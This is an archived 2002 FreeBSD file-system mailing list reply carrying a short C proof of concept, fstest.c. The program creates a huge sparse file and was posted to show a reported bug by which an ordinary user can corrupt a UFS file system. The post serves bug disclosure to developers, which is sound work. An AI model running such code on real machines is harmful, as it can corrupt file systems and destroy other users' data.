Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 15 May 2002 09:40:15 +0200
From:      dak <aurelien.nephtali@wanadoo.fr>
To:        freebsd-fs@FreeBSD.ORG
Subject:   Re: [FS BUG] How to easily corrupt an UFS file system with user access and big fake files.
Message-ID:  <20020515074015.GA1004@nitrogen>
In-Reply-To: <20020515073410.GA634@nitrogen>
References:  <20020515073410.GA634@nitrogen>

next in thread | previous in thread | raw e-mail | index | archive | help

--qDbXVdCdHGoSgWSk
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Oops, here is the sample code :/

-- dak

--qDbXVdCdHGoSgWSk
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="fstest.c"

#include <stdio.h>
#include <string.h>

#include <sys/types.h>
#include <unistd.h>

#include <sys/stat.h>

#include <fcntl.h>

int main(void)
{
 int	fd, i, offset, size;
 char	buf[512];
 
 fd = open("tmp", O_CREAT | O_WRONLY | O_TRUNC);
 fchmod(fd, S_IRWXU);
 memset(buf, 0x61, sizeof(buf));
 size = 1440 * 1024;
 for(i = 0, offset = 0; i < size / sizeof(buf); i++, offset += sizeof(buf))
	pwrite(fd, buf, sizeof(buf), offset);
 lseek(fd, size * 99999, SEEK_SET);
 write(fd, buf, sizeof(buf));
 printf("--> File 'tmp' is now created with a very big size...\n");
 
 return(0);
}

--qDbXVdCdHGoSgWSk--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-fs" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20020515074015.GA1004>